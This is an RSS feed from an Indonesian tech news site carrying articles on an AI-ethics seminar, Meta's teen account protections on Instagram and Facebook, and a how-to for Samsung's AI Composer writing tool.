<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>media sosial &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/media-sosial/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Thu, 27 Nov 2025 00:46:04 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>media sosial &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Fenomena AI Slop Mengemuka, Perlunya Etika AI</title>
		<link>https://nativzen.com/2025/11/27/fenomena-ai-slop-mengemuka-perlunya-etika-ai/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 26 Nov 2025 23:54:03 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[artificial intelligence]]></category>
		<category><![CDATA[etika ai]]></category>
		<category><![CDATA[kecerdasan buatan]]></category>
		<category><![CDATA[media sosial]]></category>
		<category><![CDATA[politeknik tempo]]></category>
		<category><![CDATA[teknologi ai]]></category>
		<category><![CDATA[telkomsel]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=24561</guid>

					<description><![CDATA[Fenomena AI slop menyebabkan kualitas hilang karena kuantitasnya sangat banyak.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Bagi kita yang hidup di era digital di mana kecerdasan buatan alias AI bukan lagi sekadar teknologi masa depan, tetapi sudah menjadi bagian dari kehidupan sehari-hari. Mulai dari rekomendasi konten, chatbot, sampai alat editing otomatis.</p>



<p>Semua itu telah membentuk cara kita berkomunikasi, bekerja, dan bahkan berpikir. Namun di balik manfaatnya yang luar biasa, penggunaan AI juga membawa pertanyaan penting: bagaimana memastikan teknologi ini dapat digunakan secara bertanggung jawab?</p>



<p>Pertanyaan lainnya yang timbul adalah bagaimana kita, sebagai generasi muda dan calon profesional industri kreatif, dapat memahami sekaligus menerapkan etika ketika memanfaatkan AI di media sosial?</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="701" src="https://nativzen.com/wp-content/uploads/2025/11/20251126_134325-1-1024x701.jpg" alt="" class="wp-image-24566" srcset="https://nativzen.com/wp-content/uploads/2025/11/20251126_134325-1-1024x701.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/11/20251126_134325-1-300x205.jpg 300w, https://nativzen.com/wp-content/uploads/2025/11/20251126_134325-1-768x526.jpg 768w, https://nativzen.com/wp-content/uploads/2025/11/20251126_134325-1-370x253.jpg 370w, https://nativzen.com/wp-content/uploads/2025/11/20251126_134325-1-270x185.jpg 270w, https://nativzen.com/wp-content/uploads/2025/11/20251126_134325-1-570x390.jpg 570w, https://nativzen.com/wp-content/uploads/2025/11/20251126_134325-1-740x506.jpg 740w, https://nativzen.com/wp-content/uploads/2025/11/20251126_134325-1.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Hal itu mengemuka dalam seminar <strong>&#8220;Etika AI di Media Sosial&#8221;</strong> yang digelar oleh Ruang Tengah Digital Network (RTDN) bersama Politeknik Tempo di Jakarta, (26/11). Hadir tiga pembicara dari bidang akademisi, media, dan industri telekomunikasi.</p>



<p>Ketiganya memaparkan secara komprehensif risiko, etika, serta praktik aman penggunaan AI atau yang sering juga disebut kecerdasan buata di era konten digital saat ini. Sementara itu, peserta seminar yang hadir adalah mahasiswa Politeknik Tempo. </p>



<p>Dosen Desain Media Politeknik Tempo, Beny Maulana menjelaskan bahwa perkembangan AI generatif sejak 2022 menghadirkan perubahan besar pada produksi konten. Berawal dari teknologi gambar seperti stable diffusion, kualitas keluaran AI kini jauh lebih realistis.</p>



<p>Beny pun menjelaskan bahwa teks, gambar, dan video yang dibuat oleh AI kini begitu sulit dibedakan. Kemudahan dan kecepatan juga memicu munculnya fenomena AI slop atau konten “ampas” yang dibuat masif demi mengejar trafik dan pendapatan dari media sosial. </p>



<p>“Fenomena AI slop menyebabkan kualitas hilang karena kuantitasnya sangat banyak. Istilah brainrot, konten rendah kualitas yang menyasar anak-anak demi trafik tinggi, juga semakin meluas,&#8221; ujar Beny di seminar yang diselenggarakan di Gedung Tempo Institute Jakarta.</p>



<p>Di sisi lain, penyebaran konten palsu di media sosial, diperkuat interaksi dan komentar yang didorong bot, membuat hoaks semakin mudah viral. Hal ini pun banyak ditemukan di sejumlah platform media sosial yang sangat populer. </p>



<p>Selain itu, Beny juga menyoroti persoalan pelanggaran hak cipta akibat pengambilan data tanpa izin oleh perusahaan AI. Beberapa studio besar seperti Square Enix, Ghibli, Warner Bros, hingga Disney pernah menuntut perusahaan AI yang memakai karya mereka tanpa persetujuan.</p>



<p>&#8220;Teknologi AI ini advance, memudahkan, seperti Gemini, Copilot, ChatGPT dan sebagainya. Namun, di balik itu dengan kalian menggunakan, ternyata tidak seindah yang digambarkan, banyak problem dan masalah,&#8221; jelas Beny.</p>



<h4 class="wp-block-heading"><strong>Hoaks, Deepfake, dan Etika Penggunaan AI</strong><strong></strong></h4>



<p>Tak kalah menarik, Editor Cek Fakta Kompas.com, Bayu Galih Wibisono mengatakan bahwa AI dapat menjadi alat bermanfaat maupun berbahaya, layaknya pisau. Kasus deepfake tokoh publik seperti Prabowo maupun manipulasi wajah untuk penipuan dan pornografi menjadi contoh nyata.</p>



<p>Selain itu, meningkatnya plagiarisme akademik dengan bantuan teknologi AI alias kecerdasan buatan ini juga menjadi perhatian. “AI boleh digunakan sebagai referensi, tetapi tidak bisa menjadi rujukan utama,” ucap Bayu.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="655" src="https://nativzen.com/wp-content/uploads/2025/11/20251126_141206-1-1024x655.jpg" alt="" class="wp-image-24567" srcset="https://nativzen.com/wp-content/uploads/2025/11/20251126_141206-1-1024x655.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/11/20251126_141206-1-300x192.jpg 300w, https://nativzen.com/wp-content/uploads/2025/11/20251126_141206-1-768x491.jpg 768w, https://nativzen.com/wp-content/uploads/2025/11/20251126_141206-1-370x237.jpg 370w, https://nativzen.com/wp-content/uploads/2025/11/20251126_141206-1-270x173.jpg 270w, https://nativzen.com/wp-content/uploads/2025/11/20251126_141206-1-470x300.jpg 470w, https://nativzen.com/wp-content/uploads/2025/11/20251126_141206-1-570x365.jpg 570w, https://nativzen.com/wp-content/uploads/2025/11/20251126_141206-1-740x473.jpg 740w, https://nativzen.com/wp-content/uploads/2025/11/20251126_141206-1.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Editor Cek Fakta Kompas.com, Bayu Galih Wibisono</figcaption></figure>



<p>Dalam paparannya, Bayu mengangkat 10 Poin Etika AI UNESCO, meliputi prinsip keamanan, transparansi, akuntabilitas, perlindungan data, keberlanjutan, hingga non-diskriminasi. Namun ia menegaskan bahwa di Indonesia belum ada UU khusus tentang AI.</p>



<p>Regulasi yang digunakan masih bergantung pada UU ITE dan KUHP. Untuk memeriksa hoaks atau konten yang diduga buatan AI, Bayu menyarankan penggunaan beberapa alat pengecekan seperti Hive Moderation dan tools lain, disertai verifikasi sumber asli agar analisis lebih akurat.</p>



<h4 class="wp-block-heading"><strong>Panduan Etika AI dari Perspektif Industri</strong><strong></strong></h4>



<p>Dari sisi industri telekomunikasi, Gamma Aditya, Manager SIMPATI Telco Product Growth and Innovation Telkomsel menyampaikan bahwa AI telah hadir dalam berbagai layanan publik, mulai dari Google Maps, e-commerce, hingga layanan pelanggan Telkomsel seperti Veronika.</p>



<p>Gamma juga mengingatkan bahwa teknologi AI yang saat ini berkembang begitu pesat juga memiliki dampak negatif, seperti penipuan suara, manipulasi informasi, hingga risiko terhadap privasi pengguna.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="579" src="https://nativzen.com/wp-content/uploads/2025/11/20251126_145245-1-1024x579.jpg" alt="" class="wp-image-24568" srcset="https://nativzen.com/wp-content/uploads/2025/11/20251126_145245-1-1024x579.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/11/20251126_145245-1-300x170.jpg 300w, https://nativzen.com/wp-content/uploads/2025/11/20251126_145245-1-768x434.jpg 768w, https://nativzen.com/wp-content/uploads/2025/11/20251126_145245-1-370x209.jpg 370w, https://nativzen.com/wp-content/uploads/2025/11/20251126_145245-1-270x153.jpg 270w, https://nativzen.com/wp-content/uploads/2025/11/20251126_145245-1-570x322.jpg 570w, https://nativzen.com/wp-content/uploads/2025/11/20251126_145245-1-740x419.jpg 740w, https://nativzen.com/wp-content/uploads/2025/11/20251126_145245-1.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Gamma Aditya, Manager SIMPATI Telco Product Growth and Innovation Telkomsel.</figcaption></figure>



<p>Oleh karena itu, masyarakat perlu memegang prinsip etika seperti selalu memverifikasi informasi, menggunakan AI untuk hal yang baik, menjaga dan tidak menyebarkan data pribadi hingga mengutamakan transparansi dan tanggung jawab.</p>



<p>“Teknologi AI ini ada dan perkembangannya sangat masif dan kita harus hidup damai bersama AI. Tapi yang perlu diingat oleh rekan-rekan mahasiswa semua, jangan sampai AI mengurangi jiwa kritis kita,” tegas Gamma.</p>



<p>Seminar <strong>&#8220;Etika AI di Media Sosial&#8221;</strong> yang digelar oleh Ruang Tengah Digital Network (RTDN) bersama Politeknik Tempo, serta media partner nativzen.com ini juga mendapat dukungan penuh dari Telkomsel.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Orang Tua Indonesia Mendukung Akun Media Sosial Khusus Remaja</title>
		<link>https://nativzen.com/2025/10/02/orang-tua-indonesia-mendukung-akun-media-sosial-khusus-remaja/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 01 Oct 2025 22:05:01 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[akun remaja]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[media sosial]]></category>
		<category><![CDATA[meta]]></category>
		<category><![CDATA[whatsapp]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=22882</guid>

					<description><![CDATA[91% orang tua dan wali mendukung perusahaan media sosial menciptakan akun khusus untuk remaja.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Di Meta, melindungi pengguna—termasuk remaja—adalah prioritas utama. Selama lebih dari satu dekade, Meta telah mengembangkan produk yang mengutamakan keselamatan remaja. Kini, semakin banyak pihak di industri yang sepakat bahwa remaja berhak mendapatkan perlindungan yang konsisten di semua platform digital yang mereka gunakan.</p>



<p>Karena itu, awal tahun ini Meta memperkenalkan Akun Remaja Instagram di Indonesia, yang menghadirkan pengalaman baru bagi remaja serta orang tua dan wali mereka. Akun Remaja memiliki perlindungan bawaan yang membatasi siapa yang dapat menghubungi remaja dan jenis konten yang dapat mereka lihat.</p>



<p>Tidak hanya itu, Akun Remaja juga dapat membantu memastikan waktu mereka di media sosial digunakan secara positif. Remaja secara otomatis ditempatkan ke dalam Akun Remaja, dan remaja di bawah 16 tahun memerlukan izin orang tua atau wali untuk mengubah pengaturan bawaan menjadi lebih longgar.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-1024x576.webp" alt="" class="wp-image-22883" srcset="https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-1024x576.webp 1024w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-300x169.webp 300w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-768x432.webp 768w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-370x208.webp 370w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-270x152.webp 270w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-570x321.webp 570w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-740x416.webp 740w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2.webp 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Meta kini juga memperluas fitur Akun Remaja ke Facebook dan Messenger di Indonesia untuk meningkatkan keamanan remaja dan memberikan ketenangan bagi orang tua. Langkah-langkah ini dirancang untuk mendukung prioritas keselamatan keluarga, sekaligus memungkinkan remaja menggunakan media sosial secara aman di lingkungan yang terlindungi.</p>



<h3 class="wp-block-heading"><strong>Dukungan yang Kuat dari Orang Tua</strong></h3>



<p>Meta merancang Akun Remaja dengan mempertimbangkan kekhawatiran utama orang tua dan wali. Dalam riset terbaru, mereka menyatakan dukungan kuat terhadap Akun Remaja. <a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.ipsos.com%2Fsites%2Fdefault%2Ffiles%2Fct%2Fnews%2Fdocuments%2F2025-09%2FIpsos%2520%2526amp%253B%2520Meta%2520Indonesia%2520Parent%2520Survey%2520-%2520English.pdf&amp;h=AT36_ZIFaBXMzCpA_ltGd0vJWFSW8H0Ft5TMs6Au48w69m_Nfu4-HB-WG4kK5napPd0abBuote7m0GWNgbfCinskJ_KYQsuPq-PB22slv9vLZepHaArZc6elxhfXZNa4IUj85TJZP_Qyzx9iXEysrK8X" target="_blank" rel="noreferrer noopener">Survei</a> yang dilakukan oleh Ipsos, atas nama Meta,  terhadap orang tua dan wali di Indonesia mengungkap bahwa:</p>



<ul>
<li>91% orang tua dan wali yang disurvei mendukung perusahaan media sosial menciptakan akun khusus untuk remaja dengan perlindungan tambahan, dan 92% menganggap Akun Remaja Instagram bermanfaat bagi orang tua.</li>



<li>87% orang tua dan wali yang disurvei mengatakan Akun Remaja Instagram membuat mereka lebih percaya diri membiarkan remajanya menggunakan Instagram.</li>



<li>Lebih dari 90% orang tua dan wali yang disurvei mengatakan setiap perlindungan bawaan yang diberikan oleh Akun Remaja Instagram akan membantu mendukung anak remaja mereka di Instagram.</li>
</ul>



<h3 class="wp-block-heading"><strong>Komitmen Meta dalam Mendukung Remaja</strong></h3>



<p>Meskipun hasil survei ini sangat positif, Meta terus berinovasi untuk mendukung orang tua, wali, dan remaja. Kami dengan bangga mengumumkan bahwa pengalaman Akun Remaja kini diperluas ke Facebook dan Messenger di Indonesia. </p>



<p>Hal ini memberikan dukungan dan ketenangan lebih bagi orang tua dan wali, serta memastikan remaja dapat terhubung dengan teman dan mengeksplorasi minat mereka di media sosial dengan perlindungan yang memadai.</p>



<p>Serupa dengan yang diterapkan di Instagram, seperti pembatasan otomatis terhadap kontak yang tidak pantas atau tidak diinginkan, serta fitur untuk memastikan waktu remaja di media sosial digunakan secara positif.</p>



<h3 class="wp-block-heading"><strong>Menyeimbangkan Manfaat Koneksi Daring</strong></h3>



<p>Dukungan besar dari orang tua dan wali terhadap pengalaman daring khusus remaja dengan perlindungan bawaan menunjukkan pentingnya pendekatan seimbang terhadap keselamatan daring. Membatasi akses untuk anak di bawah 16 tahun bisa mengurangi peluang berharga untuk terhubung, belajar, dan hiburan. </p>



<p>Namun, pendekatan yang terukur dengan akun khusus remaja yang dilengkapi perlindungan dan dukungan bawaan, seperti Akun Remaja dari Meta, menghargai prioritas keselamatan keluarga sekaligus memungkinkan remaja menggunakan media sosial secara aman di lingkungan yang terlindungi.</p>



<p>Meta berkomitmen untuk terus bermitra dengan keluarga dan komunitas dalam menciptakan lingkungan daring yang aman bagi remaja. Dengan menerapkan langkah-langkah perlindungan ini, kami ingin mendukung keluarga dan meningkatkan pengalaman daring yang aman bagi remaja di Indonesia.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Akun Instagram Remaja Bantu Orangtua Awasi Pergaulan Anak di Media Sosial</title>
		<link>https://nativzen.com/2025/07/22/akun-instagram-remaja-bantu-orangtua-awasi-pergaulan-anak-di-media-sosial/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 22 Jul 2025 06:25:43 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[akun instagram remaja]]></category>
		<category><![CDATA[akun remaja]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[media sosial]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=20836</guid>

					<description><![CDATA[Dukungan dari Instagram ini bikin orang tua tidak lagi khawatir.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Meta, perusahaan induk dari Instagram, Facebook dan WhatsApp telah mengungkap Instagram Teen Accounts sejak September 2024. Akan tetapi, tidak banyak orang yang mengetahui karena penerapannya dilakukan secara bertahap di sejumlah negara.</p>



<p>Publik di Indonesia diingatkan kembali tentang kehadiran fitur ini melalui postingan Instagram yang dibagikan oleh Cipluk Carlita (@ciplukcarlita), seseorang yang bekerja di divisi Communications, Meta Indonesia.</p>



<p>&#8220;Bagi kita yang memiliki anak remaja, memastikan keamanan mereka saat online adalah hal yang selalu kita pikirkan. Kita ingin mereka bereksplorasi, sekaligus terlindungi,&#8221; tulis Cipluk dalam postingan Instagram.</p>



<p>Ia pun menjelaskan bahwa tools seperti Instagram Teen Accounts memiliki fitur yang dirancang untuk mendukung orangtua dengan lebih baik, memberi mereka ketenangan pikiran bahwa anak remaja mereka memiliki perlindungan yang tepat.</p>



<p>Dengan Instagram Teen Accounts, pengguna berusia 13–17 tahun akan secara otomatis akunnya berubah menjadi private account secara default. Selain itu, pengguna remaja akan memiliki pesan masuk yang terbatas, konten sesuai usia, kontrol DM &amp; fitur waktu layar dan pengawasan orangtua.</p>



<p>&#8220;Fitur-fitur yang ada pada Instagram Teen Account memungkinkan remaja bersosialisasi dan belajar dalam batasan yang sesuai dengan usia mereka, sehingga menciptakan lingkungan daring yang lebih aman,&#8221; jelas Cipluk.</p>



<h3 class="wp-block-heading">Mengapa Meta Rilis Fitur Instagram Teen Accounts?</h3>



<p>Di halaman blog milik Instagram, perusahaan juga menyadari bahwa tak sedikit para orangtua yang merasa khawatir anak remaja mereka mungkin melihat konten dewasa atau tidak pantas secara daring. Instagram menerapkan aturan yang lebih ketat terkait jenis konten yang dilihat remaja di aplikasi. </p>



<p>&#8220;Kami menghapus konten yang melanggar aturan kami dan menghindari rekomendasi konten yang berpotensi sensitif – seperti konten yang menjurus ke arah seksual atau konten yang membahas bunuh diri atau melukai diri sendiri,&#8221; jelas Instagram.</p>



<p>Dengan Akun Remaja Instagram, remaja akan ditempatkan dalam pengaturan kontrol konten sensitif yang paling ketat, sehingga mereka semakin kecil kemungkinannya untuk direkomendasikan ke konten sensitif.</p>



<h3 class="wp-block-heading">Di mana Saja Instagram Teen Accounts Berlaku?</h3>



<p>Instagram merencanakan memberlakukan Akun Remaja di Amerika Serikat, Inggris, Kanada, dan Australia, serta di Uni Eropa hingga akhir 2024. Kemudian, remaja di seluruh dunia akan mulai mendapatkan akun khusus ini pada Januari.</p>



<p>Kabarnya, Meta juga akan menghadirkan Akun Remaja ke platform Meta lainnya di 2025. Menurut perusahaan, ini adalah pembaruan besar yang akan mengubah pengalaman Instagram bagi jutaan remaja.</p>



<h3 class="wp-block-heading">Apa Saja Fitur Pengawasan yang Bisa Diakses Orangtua?</h3>



<p>Meskipun Akun Remaja menerapkan perlindungan baru secara otomatis, banyak orang tua ingin lebih terlibat dalam pengalaman anak remaja mereka. Instagram menambahkan fitur pengawasan, di mana pembaruan mencakup cara untuk:</p>



<ol>
<li>Mendapatkan Wawasan Tentang Siapa Saja yang Berbicara dengan Anak Remaja<br>Meskipun orang tua tidak dapat membaca pesan anak remaja mereka, kini mereka dapat melihat siapa saja yang telah dikirimi pesan oleh anak remaja mereka dalam tujuh hari terakhir.</li>



<li>Menetapkan Batas Waktu Harian Total untuk Penggunaan Instagram Anak Remaja<br>Orangtua dapat menentukan berapa banyak waktu yang dapat dihabiskan anak remaja mereka di Instagram setiap hari. Setelah anak remaja mencapai batas tersebut, mereka tidak akan dapat lagi mengakses aplikasi.</li>



<li>Memblokir Remaja Menggunakan Instagram untuk Jangka Waktu Tertentu<br>Orangtua dapat memilih untuk memblokir anak remaja mereka menggunakan Instagram di malam hari, atau jangka waktu tertentu, dengan satu tombol mudah.</li>



<li>Melihat Topik yang Sedang Dilihat Anak Remaja<br>Orangtua dapat melihat topik sesuai usia yang dipilih anak remaja mereka untuk melihat konten, berdasarkan minat mereka.</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>AI Composer Bikin Percakapan dan Caption Foto di Medsos Lebih Seamless</title>
		<link>https://nativzen.com/2024/11/19/ai-composer-bikin-percakapan-dan-caption-foto-di-medsos-lebih-seamless/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Mon, 18 Nov 2024 23:08:44 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[ai composer]]></category>
		<category><![CDATA[galaxy ai]]></category>
		<category><![CDATA[galaxy s24 fe]]></category>
		<category><![CDATA[media sosial]]></category>
		<category><![CDATA[samsung]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=13804</guid>

					<description><![CDATA[Galaxy S24 FE telah dibekali serangakain fitur kecerdasan buatan di dalamnya, salah satunya adalah AI Composer.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Bagi yang tertarik dengan Galaxy S24 FE, kamu harus tahu bahwa smartphone flagship terbaru dari Samsung ini juga telah dibekali Galaxy AI. Ya, sekumpulan fitur cerdas tersebut akan mampu mendongkrak produktivitas kamu.</p>



<p>Salah satu fitur cerdas yang ada di dalam Galaxy AI dan telah tersedia pada Galaxy S24 FE ini adalah AI Composer. Fitur ini dapat membantu kamu untuk menulis pesan yang lebih panjang dengan lebih cepat dan akurat.</p>



<p>Dengan memanfaatkan teknologi kecerdasan buatan yang dikembangkan oleh Samsung, AI Composer dapat menghasilkan teks berdasarkan instruksi yang kamu berikan. Tentunya, ini sangat berguna untuk menulis e-mail bisnis, penawaran produk, atau bahkan catatan tim kerja.</p>



<p>Lantas, apakah fitur AI Composer bisa kamu gunakan untuk membalas percakapan di group chat yang isinya teman-teman atau para bestie yang suka &#8220;dugem&#8221; di akhir pekan? Jawabannya, tentu saja fitur tersebut bisa kamu gunakan untuk hal itu.</p>



<p>Bahkan, dengan menggunakan fitur AI Composer, kamu bisa mendapat rekomendasi percakapan yang lebih menarik. Dengan begitu, percakapan di group chat tersebut juga bisa lebih hidup. Nah, untuk menggunakan fitur ini pun sangat mudah, begini caranya:</p>



<ol>
<li>Copy percakapan yang ada di group chat, misalnya di group pertemanan di WhatsApp ada yang bertanya, &#8220;Hei teman-teman semua, apa kabar? Malam minggu sudah tiba nih, kira-kira kita mau kemana? </li>



<li>Selanjutnya, posisikan kursor pada kolom balasan pesan (Message)</li>



<li>Tap icon Galaxy AI (gambar bintang) yang ada pada keyboard</li>



<li>Lalu, pilih Composer</li>



<li>Pada kolom Write about, Paste percapakan dan tambahkan di depannya, &#8220;Buat jawaban dari pertanyaan &#8230;  </li>



<li> Jangan lupa, pilih opsi Standard atau Comment</li>



<li>Lalu, pilih juga gaya penulisan yang diinginkan. Jika, ingin terlihat santai, bisa memilih opsi Casual atau Polite</li>



<li>Terakhir, tap tombol Generate, dan lihat hasil jawabannya!   </li>
</ol>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-4-1024x576.png" alt="" class="wp-image-13806" style="width:650px;height:auto" srcset="https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-4-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-4-300x169.png 300w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-4-768x432.png 768w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-4-370x208.png 370w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-4-270x152.png 270w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-4-570x321.png 570w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-4-740x416.png 740w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-4.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-5-1024x576.png" alt="" class="wp-image-13805" srcset="https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-5-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-5-300x169.png 300w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-5-768x432.png 768w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-5-370x208.png 370w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-5-270x152.png 270w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-5-570x321.png 570w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-5-740x416.png 740w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-5.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Rekomendasi yang diberikan oleh AI Composer itulah yang bisa kamu gunakan untuk menjawab percakapan yang ada di group chat. Kamu bisa tap Copy, lalu Paste pada kolom balasan pesan di WhatsApp. Cepat dan mudah bukan?</p>



<h3 class="wp-block-heading">Gunakan AI Composer untuk Caption Foto di Medsos</h3>



<p>Tak sedikit orang yang masih kesulitan untuk membuat caption menarik saat ingin upload konten di media sosial, seperti di Feed Instagram misalnya. Apakah hal ini juga dialami oleh kamu? Tentunya, dengan fitur AI Composer, masalah tersebut bisa terpecahkan.</p>



<p>Ya, kamu tentunya harus berpikir keras bagaimana caranya membuat caption yang sesuai dari sebuah konten yang ingin diupload di media sosial, dan bisa menarik perhatian banyak orang. Ujung-ujungnya, konten tersebut diharapkan akan banjir Like dan Comment.</p>



<p>Kesulitan untuk menentukan kata hingga ide pembuatan terkadang kerap dialami beberapa orang, apalagi para konten kreator. Oleh karena itu, mencari referensi di internet hingga platform media sosial lain, menjadi senjata yang cukup ampuh.</p>



<p>Tetapi, tetap saja itu semua butuh waktu. Apalagi jika konten yang telah dibuat harus segera diupload saat itu juga. Tak perlu khawatir, bersama dengan Galaxy S24 yang sudah dibekali fitur AI Composer, kamu bisa langsung bikin caption buat di media sosial.</p>



<p>Sebagai contoh, kamu ingin membuat caption dari sebuah foto bersama bestie yang akan dipamerkan a.k.a diupload di media sosial. Sangat mudah, begini caranya:</p>



<ol>
<li>Buka aplikasi Instagram, lalu masuk ke Feed</li>



<li>Pilih foto yang ingin diupload</li>



<li>Tambahkan audio atau musik jika diinginkan</li>



<li>Lalu, tap tombol Next</li>



<li>Posisikan kursor pada bagian caption, lalu tap icon Galaxy AI</li>



<li>Selanjutnya, pilih Composer</li>



<li>Lalu, ketikkan &#8220;Buat caption foto istri tercinta di akhir pekan&#8221;</li>



<li>Pilih opsi Social media, dengan gaya bahasa Casual</li>



<li>Tap tombol Generate, dan lihat hasil rekomendasi caption yang siap digunakan.</li>
</ol>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-6-1024x576.png" alt="" class="wp-image-13809" style="width:650px;height:auto" srcset="https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-6-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-6-300x169.png 300w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-6-768x432.png 768w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-6-370x208.png 370w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-6-270x152.png 270w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-6-570x321.png 570w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-6-740x416.png 740w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-6.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



